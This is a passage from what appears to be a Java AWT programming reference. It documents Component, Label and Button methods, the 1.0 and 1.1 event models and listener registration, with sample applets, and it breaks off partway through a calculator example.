Table 5.1 compares possible return values from isVisible() and isShowing(). The first two entries are for objects that have their own Window. These will always return the same values for isVisible() and isShowing(). The next three are for Component objects that exist within a Window, Panel, or Applet. The visible setting is always initially true. However, the showing setting is not true until the object is actually drawn. The last case shows another possibility. If the component exists within an invisible Container, the component will be visible but will not be shown.

Table 5.1: isVisible vs. isShowing
Happenings | isVisible | isShowing
Frame created | false | false
Frame f = new Frame () |  |
Frame showing | true | true
f.show () |  |
Component created | true | false
Button b= new Button ("Help") |  |
Button added to screen in init() | true | false
add (b) |  |
Container laid out with Button in it | true | true
Button within Panel that is not visible | true | false

public void show ()

The show() method displays a component by making it visible and showing its peer. The parent Container becomes invalid because the set of children to display has changed. You would call show() directly to display a Frame or Dialog.

In Java 1.1, you should use setVisible() instead.

public void hide ()

The hide() method hides a component by making it invisible and hiding its peer. The parent Container becomes invalid because the set of children to display has changed. If you call hide() for a Component that does not subclass Window, the component's Container reserves space for the hidden object.

In Java 1.1, you should use setVisible() instead.

public void setVisible(boolean condition) (New)
public void show (boolean condition) (Deprecated)

The setVisible() method calls either show() or hide() based on the value of condition. If condition is true, show() is called. When condition is false, hide() is called.

show() is the Java 1.0 name for this method.

public boolean isEnabled ()

The isEnabled() method checks to see if the component is currently enabled. An enabled Component can be selected and trigger events. A disabled Component usually has a slightly lighter font and doesn't permit the user to select or interact with it. Initially, every Component is enabled.

public synchronized void enable ()

The enable() method allows the user to interact with the component. Components are enabled by default but can be disabled by a call to disabled() or setEnabled(false).

In Java 1.1, you should use setEnabled() instead.

public synchronized void disable ()

The disable() method disables the component so that it is unresponsive to user interactions.

In Java 1.1, you should use setEnabled() instead.

public void setEnabled (boolean condition) (New)
public void enable (boolean condition) (Deprecated)

The setEnabled() method calls either enable() or disable() based on the value of condition. If condition is true, enable() is called. When condition is false, disable() is called. Enabling and disabling lets you create components that can be operated only under certain conditions--for example, a Button that can be pressed only after the user has typed into a TextArea.

enable() is the Java 1.0 name for this method.

Focus

Although there was some support for managing input focus in version 1.0, 1.1 improved on this greatly by including support for Tab and Shift+Tab to move input focus to the next or previous component, and by being more consistent across different platforms. This support is provided by the package-private class FocusManager.

public boolean isFocusTraversable() (New)

The isFocusTraversable() method is the support method that tells you whether or not a component is capable of receiving the input focus. Every component asks its peer whether or not it is traversable. If there is no peer, this method returns false.

If you are creating a component by subclassing Component or Canvas and you want it to be traversable, you should override this method; a Canvas is not traversable by default.

public void requestFocus ()

The requestFocus() method allows you to request that a component get the input focus. If it can't (isFocusTraversable() returns false), it won't.

public void transferFocus () (New)
public void nextFocus () (Deprecated)

The transferFocus() method moves the focus from the current component to the next one.

nextFocus() is the Java 1.0 name for this method.

Miscellaneous methods

public final Object getTreeLock () (New)

The getTreeLock() method retrieves the synchronization lock for all AWT components. Instead of using synchronized methods in Java 1.1, previously synchronized methods lock the tree within a synchronized (component.getTreeLock()) {} code block. This results in a more efficient locking mechanism to improve performance.

public String getName () (New)

The getName() method retrieves the current name of the component. The component's name is useful for object serialization. Components are given a name by default; you can change the name by calling setName().

public void setName (String name) (New)

The setName() method changes the name of the component to name.

public Container getParent ()

The getParent() method returns the component's Container. The container for anything added to an applet is the applet itself, since it subclasses Panel. The container for the applet is the browser. In the case of Netscape Navigator versions 2.0 and 3.0, the return value would be a specific instance of the netscape.applet.EmbeddedAppletFrame class. If the applet is running within the appletviewer, the return value would be an instance of sun.applet.AppletViewerPanel.

public synchronized void add(PopupMenu popup) (New)

The add() method introduced in Java 1.1 provides the ability to associate a PopupMenu with a Component. The pop-up menu can be used to provide context-sensitive menus for specific components. (On some platforms for some components, pop-up menus exist already and cannot be overridden.) Interaction with the menu is discussed in Chapter 10, Would You Like to Choose from the Menu?

Multiple pop-up menus can be associated with a component. To display the appropriate pop-up menu, call the pop-up menu's show()method.

public synchronized void remove(MenuComponent popup) (New)

The remove() method is the MenuContainer interface method to disassociate the popup from the component. (PopupMenu is a subclass of MenuComponent.) If popup is not associated with the Component, nothing happens.

protected String paramString ()

The paramString() method is a protected method that helps build a String listing the different parameters of the Component. When the toString() method is called for a specific Component, paramString() is called for the lowest level and works its way up the inheritance hierarchy to build a complete parameter string to display. At the Component level, potentially seven ( Java1.0) or eight (1.1) items are added. The first five items added are the component's name (if non-null and using Java 1.1), x and y coordinates (as returned by getLocation()), along with its width and height (as returned by getSize()). If the component is not valid, "invalid" is added next. If the component is not visible, "hidden" is added next. Finally, if the component is not enabled, "disabled" is added.

public String toString ()

The toString() method returns a String representation of the object's values. At the Component level, the class's name is placed before the results of paramString(). This method is called automatically by the system if you try to print an object using System.out.println().

public void list ()

The list() method prints the contents of the Component (as returned by toString()) to System.out. If c is a type of Component, the two statements System.out.println(c) and c.list() are equivalent. This method is more useful at the Container level, because it prints all the components within the container.

public void list (PrintWriter out) (New)
public void list (PrintStream out)

This version of list() prints the contents of the Component (as returned by toString()) to a different PrintStream, out.

public void list (PrintWriter out, int indentation) (New)
public void list (PrintStream out, int indentation)

These versions of list() are called by the other two. They print the component's contents (as returned by toString()) with the given indentation. This allows you to prepare nicely formatted lists of a container's contents for debugging; you could use the indentation to reflect how deeply the component is nested within the container.

Component Events

Chapter 4, Events covers event handling in detail. This section summarizes what Component does for the different event-related methods.

With the Java 1.0 event model, many methods return true to indicate that the program has handled the event and false to indicate that the event was not handled (or only partially handled); when false is returned, the system passes the event up to the parent container. Thus, it is good form to return true only when you have fully handled the event, and no further processing is necessary.

With the Java 1.1 event model, you register a listener for a specific event type. When that type of event happens, the listener is notified. Unlike the 1.0 model, you do not need to override any methods of Component to handle the event. Controllers

The Java 1.0 event model controllers are deliverEvent(), postEvent(), and handleEvent(). With 1.1, the controller is a method named dispatchEvent().

public void deliverEvent (Event e) (Deprecated)

The deliverEvent() method delivers the 1.0 Event e to the Component in which an event occurred. Internally, this method calls postEvent(). The deliverEvent() method is an important enhancement to postEvent() for Container objects since they have to determine which component in the Container gets the event.

public boolean postEvent (Event e) (Deprecated)

The postEvent() method tells the Component to deal with 1.0 Event e. It calls handleEvent(), which returns true if some other object handled e and false if no one handles it. If handleEvent() returns false, postEvent() posts the Event to the component's parent. You can use postEvent() to hand any events you generate yourself to some other component for processing. (Creating your own events is a useful technique that few developers take advantage of.) You can also use postEvent() to reflect an event from one component into another.

public boolean handleEvent (Event e) (Deprecated)

The handleEvent() method determines the type of event e and passes it along to an appropriate method to deal with it. For example, when a mouse motion event is delivered to postEvent(), it is passed off to handleEvent(), which calls mouseMove(). As shown in the following listing, handleEvent() can be implemented as one big switch statement. Since not all event types have default event handlers, you may need to override this method. If you do, remember to call the overridden method to ensure that the default behavior still takes place. To do so, call super.handleEvent(event) for any event your method does not deal with.

public boolean handleEvent(Event event) {
    switch (event.id) {
      case Event.MOUSE_ENTER:
        return mouseEnter (event, event.x, event.y);
      case Event.MOUSE_EXIT:
        return mouseExit (event, event.x, event.y);
      case Event.MOUSE_MOVE:
        return mouseMove (event, event.x, event.y);
      case Event.MOUSE_DOWN:
        return mouseDown (event, event.x, event.y);
      case Event.MOUSE_DRAG:
        return mouseDrag (event, event.x, event.y);
      case Event.MOUSE_UP:
        return mouseUp (event, event.x, event.y);
      case Event.KEY_PRESS:
      case Event.KEY_ACTION:
        return keyDown (event, event.key);
      case Event.KEY_RELEASE:
      case Event.KEY_ACTION_RELEASE:
        return keyUp (event, event.key);
      case Event.ACTION_EVENT:
        return action (event, event.arg);
      case Event.GOT_FOCUS:
        return gotFocus (event, event.arg);
      case Event.LOST_FOCUS:
        return lostFocus (event, event.arg);
    }
    return false;
}

public final void dispatchEvent(AWTEvent e) (New)

The dispatchEvent() method allows you to post new AWT events to this component's listeners. dispatchEvent() tells the Component to deal with the AWTEvent e by calling its processEvent() method. This method is similar to Java 1.0's postEvent() method. Events delivered in this way bypass the system's event queue. It's not clear why you would want to bypass the event queue, except possibly to deliver some kind of high priority event.

Action

public boolean action (Event e, Object o) (Deprecated)

The action() method is called when the user performs some action in the Component. e is the 1.0 Event instance for the specific event, while the content of o varies depending upon the specific Component. The particular action that triggers a call to action() depends on the Component. For example, with a TextField, action() is called when the user presses the carriage return. This method should not be called directly; to deliver any event you generate, call postEvent(), and let it decide how the event should propagate.

The default implementation of the action() method does nothing and returns false. When you override this method, return true only if you fully handle the event. Your method should always have a default case that returns false or calls super.action(e, o) to ensure that the event propagates to the component's container or component's superclass, respectively.

Keyboard

public boolean keyDown (Event e, int key) (New)

The keyDown() method is called whenever the user presses a key. e is the 1.0 Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) could be either Event.KEY_PRESS for a regular key or Event.KEY_ACTION for an action-oriented key (e.g., arrow or function key). The default keyDown() method does nothing and returns false. If you are doing input validation, return true if the character is invalid; this keeps the event from propagating to a higher component. If you wish to alter the input (i.e., convert to uppercase), return false, but change e.key to the new character.

public boolean keyUp (Event e, int key)

The keyUp() method is called whenever the user releases a key. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) could be either Event.KEY_RELEASE for a regular key or Event.KEY_ACTION_RELEASE for an action-oriented key (e.g., arrow or function key). keyUp() may be used to determine how long key has been pressed. The default keyUp() method does nothing and returns false.

Mouse

NOTE:

Early releases of Java (1.0.2 and earlier) propagated only mouse events from Canvas and Container objects. However, Netscape Navigator seems to have jumped the gun and corrected the situation with their 3.0 release, which is based on Java release 1.0.2.1. Until other Java releases catch up, use these events with care. For more information on platform dependencies, see Appendix C, Platform-Specific Event Handling.

public boolean mouseDown (Event e, int x, int y) (Deprecated)

The mouseDown() method is called when the user presses a mouse button over the Component. e is the Event instance for the specific event, while x and y are the coordinates where the cursor was located when the event was initiated. It is necessary to examine the modifiers field of e to determine which mouse button the user pressed. The default mouseDown() method does nothing and returns false. When you override this method, return true only if you fully handle the event. Your method should always have a default case that returns false or calls super.mouseDown(e, x, y) to ensure that the event propagates to the component's container or component's superclass, respectively.

public boolean mouseDrag (Event e, int x, int y) (Deprecated)

The mouseDrag() method is called when the user is pressing a mouse button and moves the mouse. e is the Event instance for the specific event, while x and y are the coordinates where the cursor was located when the event was initiated. mouseDrag() could be called multiple times as the mouse is moved. The default mouseDrag() method does nothing and returns false. When you override this method, return true only if you fully handle the event. Your method should always have a default case that returns false or calls super.mouseDrag(e, x, y) to ensure that the event propagates to the component's container or component's superclass, respectively.

public boolean mouseEnter (Event e, int x, int y) (Deprecated)

The mouseEnter() method is called when the mouse enters the Component. e is the Event instance for the specific event, while x and y are the coordinates where the cursor was located when the event was initiated. The default mouseEnter() method does nothing and returns false. mouseEnter() can be used for implementing balloon help. When you override this method, return true only if you fully handle the event. Your method should always have a default case that returns false or calls super.mouseEnter(e, x, y) to ensure that the event propagates to the component's container or component's superclass, respectively.

public boolean mouseExit (Event e, int x, int y) (Deprecated)

The mouseExit() method is called when the mouse exits the Component. e is the Event instance for the specific event, while x and y are the coordinates where the cursor was located when the event was initiated. The default method mouseExit() does nothing and returns false. When you override this method, return true only if you fully handle the event. Your method should always have a default case that returns false or calls super.mouseExit(e, x, y) to ensure that the event propagates to the component's container or component's superclass, respectively.

public boolean mouseMove (Event e, int x, int y) (Deprecated)

The mouseMove() method is called when the user moves the mouse without pressing a mouse button. e is the Event instance for the specific event, while x and y are the coordinates where the cursor was located when the event was initiated. mouseMove() will be called numerous times as the mouse is moved. The default mouseMove() method does nothing and returns false. When you override this method, return true only if you fully handle the event. Your method should always have a default case that returns false or calls super.mouseMove(e, x, y) to ensure that the event propagates to the component's container or component's superclass, respectively.

public boolean mouseUp (Event e, int x, int y) (Deprecated)

The mouseUp() method is called when the user releases a mouse button over the Component. e is the Event instance for the specific event, while x and y are the coordinates where the cursor was located when the event was initiated. The default mouseUp() method does nothing and returns false. When you override this method, return true only if you fully handle the event. Your method should always have a default case that returns false or calls super.mouseUp(e, x, y) to ensure that the event propagates to the component's container or component's superclass, respectively.

Focus

Focus events indicate whether a component can get keyboard input. Not all components can get focus (e.g., Label cannot). Precisely which components can get the focus is platform specific.

Ordinarily, the item with the focus has a light gray rectangle around it, though the actual display depends on the platform and the component. Figure 5.1 displays the effect of focus for buttons in Windows 95.

Figure 5.1: Focused and UnFocused buttons

[Graphic: Figure 5-1]

NOTE:

Early releases of Java (1.0.2 and earlier) do not propagate all focus events on all platforms. Java 1.1 seems to propagate them properly. For more information on platform dependencies, see Appendix C, Platform-Specific Event Handling.

public boolean gotFocus (Event e, Object o) (Deprecated)

The gotFocus() method is triggered when the Component gets the input focus. e is the 1.0 Event instance for the specific event, while the content of o varies depending upon the specific Component. The default gotFocus() method does nothing and returns false. For a TextField, when the cursor becomes active, it has the focus. When you override this method, return true to indicate that you have handled the event completely or false if you want the event to propagate to the component's container.

public boolean lostFocus (Event e, Object o) (Deprecated)

The lostFocus() method is triggered when the input focus leaves the Component. e is the Event instance for the specific event, while the content of o varies depending upon the specific Component. The default lostFocus() method does nothing and returns false. When you override this method, return true to indicate that you have handled the event completely or false if you want the event to propagate to the component's container.

Listeners and 1.1 Event Handling

With the 1.1 event model, you receive events by registering event listeners, which are told when the event happens. Components don't have to receive and handle their own events; you can cleanly separate the event-handling code from the user interface itself. This section covers the methods used to add and remove event listeners, which are part of the Component class. There is a pair of methods to add and remove listeners for each event type that is appropriate for a Component: ComponentEvent, FocusEvent, KeyEvent, MouseEvent, and MouseMotionEvent. Subclasses of Component may have additional event types and therefore will have additional methods for adding and removing listeners. For example, Button, List, MenuItem, and TextField each generate action events and therefore have methods to add and remove action listeners. These additional listeners are covered with their respective components.

public void addComponentListener(ComponentListener listener) (New)

The addComponentListener() method registers listener as an object interested in being notified when a ComponentEvent passes through the EventQueue with this Component as its target. When such an event occurs, a method in the ComponentListener interface is called. Multiple listeners can be registered.

public void removeComponentListener(ComponentListener listener) (New)

The removeComponentListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

public void addFocusListener(FocusListener listener) (New)

The addFocusListener() method registers listener as an object interested in being notified when a FocusEvent passes through the EventQueue with this Component as its target. When such an event occurs, a method in the FocusListener interface is called. Multiple listeners can be registered.

public void removeFocusListener(FocusListener listener) (New)

The removeFocusListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

public void addKeyListener(KeyListener listener) (New)

The addKeyListener() method registers listener as an object interested in being notified when a KeyEvent passes through the EventQueue with this Component as its target. When such an event occurs, a method in the KeyListener interface is called. Multiple listeners can be registered.

public void removeKeyListener(KeyListener listener) (New)

The removeKeyListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

public void addMouseListener(MouseListener listener) (New)

The addMouseListener() method registers listener as an object interested in being notified when a nonmotion-oriented MouseEvent passes through the EventQueue with this Component as its target. When such an event occurs, a method in the MouseListener interface is called. Multiple listeners can be registered.

public void removeMouseListener(MouseListener listener) (New)

The removeMouseListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

public void addMouseMotionListener(MouseMotionListener listener) (New)

The addMouseMotionListener() method registers listener as an object interested in being notified when a motion-oriented MouseEvent passes through the EventQueue with this Component as its target. When such an event occurs, a method in the MouseMotionListener interface is called. Multiple listeners can be registered.

The mouse motion-oriented events are separate from the other mouse events because of their frequency of generation. If they do not have to propagate around, resources can be saved.

public void removeMouseMotionListener(MouseMotionListener listener) (New)

The removeMouseMotionListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

Handling your own events

Under the 1.1 event model, it is still possible for components to receive their own events, simulating the old event mechanism. If you want to write components that process their own events but are also compatible with the new model, you can override processEvent() or one of its related methods. processEvent() is logically similar to handleEvent() in the old model; it receives all the component's events and sees that they are forwarded to the appropriate listeners. Therefore, by overriding processEvent(), you get access to every event the component generates. If you want only a specific type of event, you can override processComponentEvent(), processKeyEvent(), or one of the other event-specific methods.

However, there is one problem. In Java 1.1, events aren't normally generated if there are no listeners. Therefore, if you want to receive your own events without registering a listener, you should first enable event processing (by a call to enableEvent()) to make sure that the events you are interested in are generated.

protected final void enableEvents(long eventsToEnable) (New)

The enableEvents() method allows you to configure a component to listen for events without having any active listeners. Under normal circumstances (i.e., if you are not subclassing a component), it is not necessary to call this method.

The eventsToEnable parameter contains a mask specifying which event types you want to enable. The AWTEvent class (covered in Chapter 4, Events) contains constants for the following types of events:

COMPONENT_EVENT_MASK
CONTAINER_EVENT_MASK
FOCUS_EVENT_MASK
KEY_EVENT_MASK
MOUSE_EVENT_MASK
MOUSE_MOTION_EVENT_MASK
WINDOW_EVENT_MASK
ACTION_EVENT_MASK
ADJUSTMENT_EVENT_MASK
ITEM_EVENT_MASK
TEXT_EVENT_MASK

OR the masks for the events you want; for example, call enableEvents(MOUSE_EVENT_MASK | MOUSE_MOTION_EVENT_MASK) to enable all mouse events. Any previous event mask settings are retained.

protected final void disableEvents(long eventsToDisable) (New)

The disableEvents() method allows you to stop the delivery of events when they are no longer needed. eventsToDisable is similar to the eventsToEnable parameter but instead contains a mask specifying which event types to stop. A disabled event would still be delivered if someone were listening.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives all AWTEvent with this Component as its target. processEvent() then passes them along to one of the event-specific processing methods (e.g., processKeyEvent()). When you subclass Component, overriding processEvent() allows you to process all events without providing listeners. Remember to call super.processEvent(e) last to ensure that normal event processing still occurs; if you don't, events won't get distributed to any registered listeners. Overriding processEvent() is like overriding the handleEvent() method using the 1.0 event model.

protected void processComponentEvent(ComponentEvent e) (New)

The processComponentEvent() method receives ComponentEvent with this Component as its target. If any listeners are registered, they are then notified. When you subclass Component, overriding processComponentEvent() allows you to process component events without providing listeners. Remember to call super.processComponentEvent(e) last to ensure that normal event processing still occurs; if you don't, events won't get distributed to any registered listeners. Overriding processComponentEvent() is roughly similar to overriding resize(), move(), show(), and hide() to add additional functionality when those methods are called.

protected void processFocusEvent(FocusEvent e) (New)

The processFocusEvent() method receives FocusEvent with this Component as its target. If any listeners are registered, they are then notified. When you subclass Component, overriding processFocusEvent() allows you to process the focus event without providing listeners. Remember to call super.processFocusEvent(e) last to ensure that normal event processing still occurs; if you don't, events won't get distributed to any registered listeners. Overriding processFocusEvent() is like overriding the methods gotFocus() and lostFocus() using the 1.0 event model.

protected void processKeyEvent(KeyEvent e) (New)

The processKeyEvent() method receives KeyEvent with this Component as its target. If any listeners are registered, they are then notified. When you subclass Component, overriding processKeyEvent() allows you to process key events without providing listeners. Be sure to remember to call super.processKeyEvent(e) last to ensure that normal event processing still occurs; if you don't, events won't get distributed to any registered listeners. Overriding processKeyEvent() is roughly similar to overriding keyDown() and keyUp() with one method using the 1.0 event model.

protected void processMouseEvent(MouseEvent e) (New)

This processMouseEvent() method receives all nonmotion-oriented MouseEvents with this Component as its target. If any listeners are registered, they are then notified. When you subclass Component, overriding the method processMouseEvent() allows you to process mouse events without providing listeners. Remember to call super.processMouseEvent(e) last to ensure that normal event processing still occurs; if you don't, events won't get distributed to any registered listeners. Overriding the method processMouseEvent() is roughly similar to overriding mouseDown(), mouseUp(), mouseEnter(), and mouseExit() with one method using the 1.0 event model.

protected void processMouseMotionEvent(MouseEvent e) (New)

The processMouseMotionEvent() method receives all motion-oriented MouseEvents with this Component as its target. If there are any listeners registered, they are then notified. When you subclass Component, overriding processMouseMotionEvent() allows you to process mouse motion events without providing listeners. Remember to call super.processMouseMotionEvent(e) last to ensure that normal event processing still occurs; if you don't, events won't get distributed to any registered listeners. Overriding the method processMouseMotionEvent() is roughly similar to overriding mouseMove() and mouseDrag() with one method using the 1.0 event model.

Previous | Home | Next
The Java 1.1 Event Model | Book Index | Labels
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.2 Labels

Previous Chapter 5
Components 		Next

5.2 Labels

Having covered the features of the Component class, we can now look at some of the simplest components. The first component introduced here is a Label. A label is a Component that displays a single line of static text.[3] It is useful for putting a title or message next to another component. The text can be centered or justified to the left or right. Labels react to all events they receive. However, they do not get any events from their peers.

[3] Java in A Nutshell (from O'Reilly & Associates) includes a multiline Label component.

Label Methods

Constants

There are three alignment specifiers for labels. The alignment tells the Label where to position its text within the space allotted. Setting an alignment for a Label might not do anything noticeable if the LayoutManager being used does not resize the Label to give it more space. With FlowLayout, the alignment is barely noticeable. See Chapter 7, Layouts, for more information.

public final static int LEFT

LEFT is the constant for left alignment. If no alignment is specified in the constructor, left alignment is the default.

public final static int CENTER

CENTER is the constant for center alignment.

public final static int RIGHT

RIGHT is the constant for right alignment.

Constructors

public Label ()

This constructor creates an empty Label. By default, the label's text is left justified.

public Label (String label)

This constructor creates a Label whose initial text is label. By default, the label's text is left justified.

public Label (String label, int alignment)

This constructor creates a Label whose initial text is label. The alignment of the label is alignment. If alignment is invalid (not LEFT, RIGHT, or CENTER), the constructor throws the run-time exception IllegalArgumentException.

Text

public String getText ()

The getText() method returns the current value of Label.

public void setText (String label)

The setText() method changes the text of the Label to label. If the new label is a different size from the old one, you should revalidate the display to ensure the label's entire contents will be seen.

Alignment

public int getAlignment ()

The getAlignment() method returns the current alignment of the Label.

public void setAlignment (int alignment)

The setAlignment() method changes the alignment of the Label to alignment. If alignment is invalid (not LEFT, RIGHT, or CENTER), setAlignment() throws the run-time exception IllegalArgumentException. Figure 5.2 shows all three alignments.

Figure 5.2: Labels with different alignments

[Graphic: Figure 5-2]

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the Label peer. If you override this method, first call super.addNotify(), then put in your customizations. Then you will be able to do everything you need with the information about the newly created peer.

protected String paramString ()

The paramString() method overrides Component's paramString() method. It is a protected method that calls the overridden paramString() to build a String from the different parameters of the Component. When the method paramString() is called for a Label, the alignment and label's text are added. Thus, for the Label created by the constructor new Label (`ZapfDingbats`, Label.RIGHT), the results displayed from a call to toString() would be:

java.awt.Label[0,0,0x0,invalid,align=right,label=ZapfDingbats]

Label Events

The Label component can react to any event it receives, though the Label peer normally does not send any. However, there is nothing to stop you from posting an event yourself.

Previous | Home | Next
Component | Book Index | Buttons
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.3 Buttons

Previous Chapter 5
Components 		Next

5.3 Buttons

The Button component provides one of the most frequently used objects in graphical applications. When the user selects a button, it signals the program that something needs to be done by sending an action event. The program responds in its handleEvent() method (for Java 1.0) or its actionPerformed() method (defined by Java 1.1's ActionListener interface). Next to Label, which does nothing, Button is the simplest component to understand. Because it is so simple, we will use a lot of buttons in our examples for the next few chapters.

Button Methods

Constructors

public Button ()

This constructor creates an empty Button. You can set the label later with setLabel().

public Button (String label)

This constructor creates a Button whose initial text is label.

Button Labels

public String getLabel ()

The getLabel() method retrieves the current text of the label on the Button and returns it as a String.

public synchronized void setLabel (String label)

The setLabel() method changes the text of the label on the Button to label. If the new text is a different size from the old, it is necessary to revalidate the screen to ensure that the button size is correct.

Action Commands

With Java 1.1, every button can have two names. One is what the user sees (the button's label); the other is what the programmer sees and is called the button's action command. Distinguishing between the label and the action command is a major help to internationalization. The label can be localized for the user's environment. However, this means that labels can vary at run-time and are therefore useless for comparisons within the program. For example, you can't test whether the user pushed the Yes button if that button might read Oui or Ja, depending on some run-time environment setting. To give the programmer something reliable for comparisons, Java 1.1 introduces the action command. The action command for our button might be Yes, regardless of the button's actual label.

By default, the action command is equivalent to the button's label. Java 1.0 code, which only relies on the label, will continue to work. Furthermore, you can continue to write in the Java 1.0 style as long as you're sure that your program will never have to account for other languages. These days, that's a bad bet. Even if you aren't implementing multiple locales now, get in the habit of testing a button's action command rather than its label; you will have less work to do when internationalization does become an issue.

public String getActionCommand () (New)

The getActionCommand() method returns the button's current action command. If no action command was explicitly set, this method returns the label.

public void setActionCommand (String command) (New)

The setActionCommand() method changes the button's action command to command.

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the Button peer. If you override this method, first call super.addNotify(), then add your customizations. Then you can do everything you need with the information about the newly created peer.

protected String paramString ()

The paramString() method overrides the component's paramString() method. It is a protected method that calls the overridden paramString() to build a String from the different parameters of the Component. When the method paramString() is called for a Button, the button's label is added. Thus, for the Button created by the constructor new Button ("ZapfDingbats"), the results displayed from a call to toString() could be:

java.awt.Button[77,5,91x21,label=ZapfDingbats]

Button Events

With the 1.0 event model, Button components generate an ACTION_EVENT when the user selects the button.

With the version 1.1 event model, you register an ActionListener
with the method addActionListener(). When the user selects the Button,
the method ActionListener.actionPerformed()
is called through the protected Button.processActionEvent()
method. Key, mouse, and focus listeners are registered through the Component
methods of addKeyListener(),
addMouseListener(), or addMouseMotionListener(),
and addFocusListener(), respectively. Action

public boolean action (Event e, Object o)

The action() method for a Button is called when the user presses and releases the button. e is the Event instance for the specific event, while o is the button's label. The default implementation of action() does nothing and returns false, passing the event to the button's container for processing. For a button to do something useful, you should override either this method or the container's action() method. Example 5.1 is a simple applet called ButtonTest that demonstrates the first approach; it creates a Button subclass called TheButton, which overrides action(). This simple subclass doesn't do much; it just labels the button and prints a message when the button is pressed. Figure 5.3 shows what ButtonTest looks like.

Example 5.1: Button Event Handling

import java.awt.*;
import java.applet.*;
class TheButton extends Button {
    TheButton (String s) {
        super (s);
    }
    public boolean action (Event e, Object o) {
        if ("One".equals(o)) {
            System.out.println ("Do something for One");
        } else if ("Two".equals(o)) {
            System.out.println ("Ignore Two");
        } else if ("Three".equals(o)) {
            System.out.println ("Reverse Three");
        } else if ("Four".equals(o)) {
            System.out.println ("Four is the one");
        } else {
            return false;
        }
        return true;
    }
}
public class ButtonTest extends Applet {
   public void init () {
        add (new TheButton ("One"));
        add (new TheButton ("Two"));
        add (new TheButton ("Three"));
        add (new TheButton ("Four"));
   }
}

Figure 5.3: The ButtonTest applet

[Graphic: Figure 5-3]

Keyboard

Buttons are able to capture keyboard-related events once the button has the input focus. In order to give a Button the input focus without triggering the action event, call requestFocus(). The button also gets the focus if the user selects it and drags the mouse off of it without releasing the mouse.

public boolean keyDown (Event e, int key) (Deprecated)

The keyDown() method is called whenever the user presses a key while the Button has the input focus. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) could be either Event.KEY_PRESS for a regular key or Event.KEY_ACTION for an action-oriented key (i.e., an arrow or a function key). There is no visible indication that the user has pressed a key over the button.

public boolean keyUp (Event e, int key) (Deprecated)

The keyUp() method is called whenever the user releases a key while the Button has the input focus. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) could be either Event.KEY_RELEASE for a regular key or Event.KEY_ACTION_RELEASE for an action-oriented key (i.e., an arrow or a function key). keyUp() may be used to determine how long key has been pressed.

Listeners and 1.1 event handling

With the 1.1 event model, you register listeners, which are told when the event happens.

public void addActionListener(ActionListener listener) (New)

The addActionListener() method registers listener as an object interested in receiving notifications when an ActionEvent passes through the EventQueue with this Button as its target. The listener.actionPerformed() method is called when these events occur. Multiple listeners can be registered. The following code demonstrates how to use an ActionListener to handle the events that occur when the user selects a button. This applet has the same display as the previous one, shown in Figure 5.3.

// Java 1.1 only
import java.awt.*;
import java.applet.*;
import java.awt.event.*;
public class ButtonTest11 extends Applet implements ActionListener {
    Button b;
    public void init () {
        add (b = new Button ("One"));
        b.addActionListener (this);
        add (b = new Button ("Two"));
        b.addActionListener (this);
        add (b = new Button ("Three"));
        b.addActionListener (this);
        add (b = new Button ("Four"));
        b.addActionListener (this);
    }
    public void actionPerformed (ActionEvent e) {
        String s = e.getActionCommand();
        if ("One".equals(s)) {
            System.out.println ("Do something for One");
        } else if ("Two".equals(s)) {
            System.out.println ("Ignore Two");
        } else if ("Three".equals(s)) {
            System.out.println ("Reverse Three");
        } else if ("Four".equals(s)) {
            System.out.println ("Four is the one");
        }
    }
}

public void removeActionListener(ActionListener listener) (New)

The removeActionListener() method removes listener as an interested listener. If listener is not registered, nothing happens.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives AWTEvent with this Button as its target. processEvent() then passes them along to any listeners for processing. When you subclass Button, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processEvent() is like overriding handleEvent() using the 1.0 event model.

If you override processEvent(), remember to call super.processEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

protected void processActionEvent(ActionEvent e) (New)

The processActionEvent() method receives ActionEvent with this Button as its target. processActionEvent() then passes them along to any listeners for processing. When you subclass Button, overriding processActionEvent() allows you to process all action events yourself, before sending them to any listeners. In a way, overriding processActionEvent() is like overriding action() using the 1.0 event model.

If you override the processActionEvent() method, you must remember to call super.processActionEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

Previous | Home | Next
Labels | Book Index | A Simple Calculator
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.4 A Simple Calculator

Previous Chapter 5
Components 		Next

5.4 A Simple Calculator

It is always helpful to see complete and somewhat useful examples after learning something new. Example 5.2 shows a working calculator that performs floating point addition, subtraction, multiplication, and division. Figure 5.4 shows the calculator in operation. The button in the lower left corner is a decimal point. This applet uses a number of classes that will be discussed later in the book (most notably, some layout managers and a Panel); try to ignore them for now. Focus on the action() and compute() methods; action() figures out which button was pressed, converting it to a digit (0-9 plus the decimal point) or an operator (=, +, -, *, /). As you build a number, it is displayed in the label lab, which conveniently serves to store the number in string form. The compute() method reads the label's text, converts it to a floating point number, does the computation, and displays the result in the label. The addButtons() method is a helper method to create a group of Button objects at one time.

Example 5.2: Calculator Source Code

import java.awt.*;
import java.applet.*;
public class JavaCalc extends Applet {
    Label lab;
    boolean firstDigit = true;
    float savedValue = 0.0f;     // Initial value
    String operator = "=";  // Initial operator
    public void addButtons (Panel p, String labels) {
        int count = labels.length();
        for (int i=0;i<count;i++)
            p.add (new Button (labels.substring(i,i+1)));
    }
    public void init () {
        setLayout (new BorderLayout());
        add ("North", lab = new Label ("0", Label.RIGHT));
